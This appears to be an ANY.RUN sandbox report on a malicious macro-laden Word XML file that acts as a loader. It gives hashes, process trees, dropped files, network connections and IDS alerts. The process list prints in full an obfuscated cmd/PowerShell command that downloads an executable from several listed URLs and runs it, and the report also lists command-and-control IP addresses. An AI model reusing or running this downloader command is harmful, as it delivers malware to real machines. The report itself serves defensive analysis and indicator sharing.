analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

h.doc

Full analysis: https://app.any.run/tasks/7cd6cfaf-098c-4c52-a987-13d5e7164df1
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: January 17, 2019, 15:02:08
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
Indicators:
MIME: text/xml
File info: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
MD5:

D7C483C69CF10B544A51B2DF1CEC4492

SHA1:

0CE615210578CBAB9A4C91A4CAEB29B7B9308030

SHA256:

E14235E1A65021134395B8177252844B1FBFADD5D7FF4AD4A0D3121DC840FAC1

SSDEEP:

6144:739u0AJJXfJ80zV/42ToSdeEDzYUTE7yZRVUi8E:ROJO0zV/4WxdRzEmZRGi7

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 366.exe (PID: 3828)
      • 366.exe (PID: 3028)
      • wabmetagen.exe (PID: 2452)
      • wabmetagen.exe (PID: 3160)
    • Executes PowerShell scripts

      • cmd.exe (PID: 2324)
    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 3260)
    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3260)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 2892)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2892)
      • 366.exe (PID: 3028)
    • Starts Microsoft Office Application

      • MSOXMLED.EXE (PID: 3036)
    • Creates files in the user directory

      • powershell.exe (PID: 2892)
    • Starts itself from another location

      • 366.exe (PID: 3028)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3260)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 3260)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xml | Microsoft Office XML Flat File Format Word Document (ASCII) (65.1)
.xml | Microsoft Office XML Flat File Format (ASCII) (31)
.xml | Generic XML (ASCII) (2.3)
.html | HyperText Markup Language (1.4)

EXIF

XMP

WordDocumentMacrosPresent: yes
WordDocumentEmbeddedObjPresent: no
WordDocumentOcxPresent: no
WordDocumentIgnoreSubtreeVal: http://schemas.microsoft.com/office/word/2003/wordml/sp2
WordDocumentDocumentPropertiesRevision: 1
WordDocumentDocumentPropertiesTotalTime: -
WordDocumentDocumentPropertiesCreated: 2019:01:17 12:50:00Z
WordDocumentDocumentPropertiesLastSaved: 2019:01:17 12:50:00Z
WordDocumentDocumentPropertiesPages: 1
WordDocumentDocumentPropertiesWords: 12
WordDocumentDocumentPropertiesCharacters: 73
WordDocumentDocumentPropertiesLines: 1
WordDocumentDocumentPropertiesParagraphs: 1
WordDocumentDocumentPropertiesCharactersWithSpaces: 84
WordDocumentDocumentPropertiesVersion: 16
WordDocumentFontsDefaultFontsAscii: Calibri
WordDocumentFontsDefaultFontsFareast: Calibri
WordDocumentFontsDefaultFontsH-ansi: Calibri
WordDocumentFontsDefaultFontsCs: Times New Roman
WordDocumentFontsFontName: Times New Roman
WordDocumentFontsFontPanose-1Val: 02020603050405020304
WordDocumentFontsFontCharsetVal: 00
WordDocumentFontsFontFamilyVal: Roman
WordDocumentFontsFontPitchVal: variable
WordDocumentFontsFontSigUsb-0: E0002AFF
WordDocumentFontsFontSigUsb-1: C0007841
WordDocumentFontsFontSigUsb-2: 00000009
WordDocumentFontsFontSigUsb-3: 00000000
WordDocumentFontsFontSigCsb-0: 000001FF
WordDocumentFontsFontSigCsb-1: 00000000
WordDocumentStylesVersionOfBuiltInStylenamesVal: 7
WordDocumentStylesLatentStylesDefLockedState: off
WordDocumentStylesLatentStylesLatentStyleCount: 375
WordDocumentStylesLatentStylesLsdExceptionName: Normal
WordDocumentStylesStyleType: paragraph
WordDocumentStylesStyleDefault: on
WordDocumentStylesStyleStyleId: Normal
WordDocumentStylesStyleNameVal: Normal
WordDocumentStylesStylePPrSpacingAfter: 160
WordDocumentStylesStylePPrSpacingLine: 259
WordDocumentStylesStylePPrSpacingLine-rule: auto
WordDocumentStylesStyleRPrFontVal: Calibri
WordDocumentStylesStyleRPrSzVal: 22
WordDocumentStylesStyleRPrSz-csVal: 22
WordDocumentStylesStyleRPrLangVal: EN-US
WordDocumentStylesStyleRPrLangFareast: EN-US
WordDocumentStylesStyleRPrLangBidi: AR-SA
WordDocumentStylesStyleUiNameVal: Table Normal
WordDocumentStylesStyleTblPrTblIndW: -
WordDocumentStylesStyleTblPrTblIndType: dxa
WordDocumentStylesStyleTblPrTblCellMarTopW: -
WordDocumentStylesStyleTblPrTblCellMarTopType: dxa
WordDocumentStylesStyleTblPrTblCellMarLeftW: 108
WordDocumentStylesStyleTblPrTblCellMarLeftType: dxa
WordDocumentStylesStyleTblPrTblCellMarBottomW: -
WordDocumentStylesStyleTblPrTblCellMarBottomType: dxa
WordDocumentStylesStyleTblPrTblCellMarRightW: 108
WordDocumentStylesStyleTblPrTblCellMarRightType: dxa
WordDocumentStylesStyleBasedOnVal: Normal
WordDocumentStylesStyleLinkVal: BalloonTextChar
WordDocumentStylesStyleRsidVal: 005A24B1
WordDocumentStylesStyleRPrRFontsAscii: Tahoma
WordDocumentStylesStyleRPrRFontsH-ansi: Tahoma
WordDocumentStylesStyleRPrRFontsCs: Tahoma
WordDocumentDocSuppDataBinDataName: editdata.mso
WordDocumentDocSuppDataBinData: (Binary data 140964 bytes, use -b option to extract)
WordDocumentShapeDefaultsShapedefaultsExt: edit
WordDocumentShapeDefaultsShapedefaultsSpidmax: 1026
WordDocumentShapeDefaultsShapelayoutExt: edit
WordDocumentShapeDefaultsShapelayoutIdmapExt: edit
WordDocumentShapeDefaultsShapelayoutIdmapData: 1
WordDocumentDocPrViewVal: print
WordDocumentDocPrZoomPercent: 100
WordDocumentDocPrRemovePersonalInformation: -
WordDocumentDocPrDoNotEmbedSystemFonts: -
WordDocumentDocPrDefaultTabStopVal: 720
WordDocumentDocPrPunctuationKerning: -
WordDocumentDocPrCharacterSpacingControlVal: DontCompress
WordDocumentDocPrOptimizeForBrowser: -
WordDocumentDocPrDoNotSaveWebPagesAsSingleFile: -
WordDocumentDocPrPixelsPerInchVal: 120
WordDocumentDocPrValidateAgainstSchema: -
WordDocumentDocPrSaveInvalidXMLVal: off
WordDocumentDocPrIgnoreMixedContentVal: off
WordDocumentDocPrAlwaysShowPlaceholderTextVal: off
WordDocumentDocPrCompatBreakWrappedTables: -
WordDocumentDocPrCompatSnapToGridInCell: -
WordDocumentDocPrCompatWrapTextWithPunct: -
WordDocumentDocPrCompatUseAsianBreakRules: -
WordDocumentDocPrCompatDontGrowAutofit: -
WordDocumentDocPrRsidsRsidRootVal: 005E6EE1
WordDocumentDocPrRsidsRsidVal: 005A24B1
WordDocumentBodySectPRsidR: 005E6EE1
WordDocumentBodySectPRsidRDefault: 00637771
WordDocumentBodySectPRRsidRPr: 00B64BF3
WordDocumentBodySectPRRPrNoProof: -
WordDocumentBodySectPRPictShapetypeId: _x0000_t75
WordDocumentBodySectPRPictShapetypeCoordsize: 21600,21600
WordDocumentBodySectPRPictShapetypeSpt: 75
WordDocumentBodySectPRPictShapetypePreferrelative: t
WordDocumentBodySectPRPictShapetypePath: m@4@5l@4@11@9@11@9@5xe
WordDocumentBodySectPRPictShapetypeFilled: f
WordDocumentBodySectPRPictShapetypeStroked: f
WordDocumentBodySectPRPictShapetypeStrokeJoinstyle: miter
WordDocumentBodySectPRPictShapetypeFormulasFEqn: if lineDrawn pixelLineWidth 0
WordDocumentBodySectPRPictShapetypePathExtrusionok: f
WordDocumentBodySectPRPictShapetypePathGradientshapeok: t
WordDocumentBodySectPRPictShapetypePathConnecttype: rect
WordDocumentBodySectPRPictShapetypeLockExt: edit
WordDocumentBodySectPRPictShapetypeLockAspectratio: t
WordDocumentBodySectPRPictBinDataName: wordml://02000001.jpg
WordDocumentBodySectPRPictBinData: (Binary data 111550 bytes, use -b option to extract)
WordDocumentBodySectPRPictShapeId: Picture 1
WordDocumentBodySectPRPictShapeSpid: _x0000_i1025
WordDocumentBodySectPRPictShapeType: #_x0000_t75
WordDocumentBodySectPRPictShapeStyle: width:468pt;height:115.5pt;visibility:visible;mso-wrap-style:square
WordDocumentBodySectPRPictShapeImagedataSrc: wordml://02000001.jpg
WordDocumentBodySectPRPictShapeImagedataTitle: -
WordDocumentBodySectPRT:
WordDocumentBodySectSectPrRsidR: 005E6EE1
WordDocumentBodySectSectPrPgSzW: 12240
WordDocumentBodySectSectPrPgSzH: 15840
WordDocumentBodySectSectPrPgMarTop: 1440
WordDocumentBodySectSectPrPgMarRight: 1440
WordDocumentBodySectSectPrPgMarBottom: 1440
WordDocumentBodySectSectPrPgMarLeft: 1440
WordDocumentBodySectSectPrPgMarHeader: 720
WordDocumentBodySectSectPrPgMarFooter: 720
WordDocumentBodySectSectPrPgMarGutter: -
WordDocumentBodySectSectPrColsSpace: 720
WordDocumentBodySectSectPrDocGridLine-pitch: 360
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
8
Malicious processes
3
Suspicious processes
4

Behavior graph

Click at the process to see the details
start drop and start drop and start msoxmled.exe no specs winword.exe no specs cmd.exe no specs powershell.exe 366.exe no specs 366.exe wabmetagen.exe no specs wabmetagen.exe

Process information

PID
CMD
Path
Indicators
Parent process
3036"C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXE" /verb open "C:\Users\admin\Desktop\h.doc.xml"C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
XML Editor
Exit code:
0
Version:
14.0.4750.1000
3260"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\h.doc.xml"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEMSOXMLED.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2324"C:\Windows\system32\cmd.exe" /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $deposit40='invoice75';$Lead2=new-object Net.WebClient;$olive70='http://www.klussen-gids.nl/xzMPGNb_wYmswEnQ_ugnZr@http://otkachka.novosibirsk.ru/iyqDsD_mViujo_JLyB@http://www.biometricsystems.ru/DfI5jgz_WjwyzgT@http://www.shengen.ru/sites/default/files/jBkgiodo_Uxnlb4D6_wIX@http://highclass-store.co/NzDOK_DeMJ9_tU'.Split('@');$global80='BeautyComputersBaby98';$UnbrandedConcreteChicken73 = '366';$virtual37='collaboration87';$monitor86=$env:public+'\'+$UnbrandedConcreteChicken73+'.exe';foreach($index8 in $olive70){try{$Lead2.DownloadFile($index8, $monitor86);$Buckinghamshire25='WesternSahara69';If ((Get-Item $monitor86).length -ge 80000) {Invoke-Item $monitor86;$sensor62='Practical5';break;}}catch{}}$actionitems64='Steel11'; C:\Windows\system32\cmd.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2892powershell $deposit40='invoice75';$Lead2=new-object Net.WebClient;$olive70='http://www.klussen-gids.nl/xzMPGNb_wYmswEnQ_ugnZr@http://otkachka.novosibirsk.ru/iyqDsD_mViujo_JLyB@http://www.biometricsystems.ru/DfI5jgz_WjwyzgT@http://www.shengen.ru/sites/default/files/jBkgiodo_Uxnlb4D6_wIX@http://highclass-store.co/NzDOK_DeMJ9_tU'.Split('@');$global80='BeautyComputersBaby98';$UnbrandedConcreteChicken73 = '366';$virtual37='collaboration87';$monitor86=$env:public+'\'+$UnbrandedConcreteChicken73+'.exe';foreach($index8 in $olive70){try{$Lead2.DownloadFile($index8, $monitor86);$Buckinghamshire25='WesternSahara69';If ((Get-Item $monitor86).length -ge 80000) {Invoke-Item $monitor86;$sensor62='Practical5';break;}}catch{}}$actionitems64='Steel11'; C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3828"C:\Users\Public\366.exe" C:\Users\Public\366.exepowershell.exe
User:
admin
Company:
Microsoft Corpor
Integrity Level:
MEDIUM
Exit code:
0
Version:
6.1.760
3028"C:\Users\Public\366.exe"C:\Users\Public\366.exe
366.exe
User:
admin
Company:
Microsoft Corpor
Integrity Level:
MEDIUM
Exit code:
0
Version:
6.1.760
2452"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe366.exe
User:
admin
Company:
Microsoft Corpor
Integrity Level:
MEDIUM
Exit code:
0
Version:
6.1.760
3160"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe
wabmetagen.exe
User:
admin
Company:
Microsoft Corpor
Integrity Level:
MEDIUM
Version:
6.1.760
Total events
1 329
Read events
909
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
2
Unknown types
4

Dropped files

PID
Process
Filename
Type
3260WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVREDEE.tmp.cvr
MD5:
SHA256:
3260WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\81CA9B9A.jpg
MD5:
SHA256:
2892powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KW4QS1A6KC5ILK1597VB.temp
MD5:
SHA256:
3260WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:54015EA8E5BF466F27C5E699A1BB21F5
SHA256:AC0A00B92B26018D42AA50132C34536F6DDCE6337FAC2A2C5F6FEBEE579E7B5D
3260WINWORD.EXEC:\Users\admin\Desktop\~$h.doc.xmlpgc
MD5:ED111EC41BB0188D5CC55A5AE534EE94
SHA256:E9239A4B09170A4A691B48FE65950B60EF6D7EE991AA7E697B747AE83F98384A
2892powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8
SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3
3028366.exeC:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exeexecutable
MD5:FD38151C3BB8A28281742E31DE7AC71C
SHA256:E11A346123BF84E55CE564D403BD9DA2FA676CAA2F8CDE871B70EA7089A944B2
3260WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\h.doc.xml.LNKlnk
MD5:FA127AB6A553403A140F22B2BF0A3DF6
SHA256:876E8EA3071D409F1F5DD252B84BCEC588A736991D000B999089B9072C4340EE
2892powershell.exeC:\Users\Public\366.exeexecutable
MD5:FD38151C3BB8A28281742E31DE7AC71C
SHA256:E11A346123BF84E55CE564D403BD9DA2FA676CAA2F8CDE871B70EA7089A944B2
3260WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:2BDE31A8EAF89E92D6340CA31059BE6B
SHA256:1B158BF92F4BCE99E363E05517B5BF281E9A5693A5EC92EF7AC0C77E1E2C97F8
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2892
powershell.exe
GET
200
185.182.56.226:80
http://www.klussen-gids.nl/xzMPGNb_wYmswEnQ_ugnZr/
NL
executable
158 Kb
suspicious
2892
powershell.exe
GET
301
185.182.56.226:80
http://www.klussen-gids.nl/xzMPGNb_wYmswEnQ_ugnZr
NL
html
258 b
suspicious
3160
wabmetagen.exe
GET
181.119.30.25:8080
http://181.119.30.25:8080/
CO
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2892
powershell.exe
185.182.56.226:80
www.klussen-gids.nl
Astralus B.V.
NL
suspicious
3160
wabmetagen.exe
148.243.206.110:465
Axtel, S.A.B. de C.V.
MX
suspicious
3160
wabmetagen.exe
181.119.30.25:8080
IFX Corporation
CO
malicious

DNS requests

Domain
IP
Reputation
www.klussen-gids.nl
  • 185.182.56.226
suspicious

Threats

PID
Process
Class
Message
2892
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2892
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2892
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info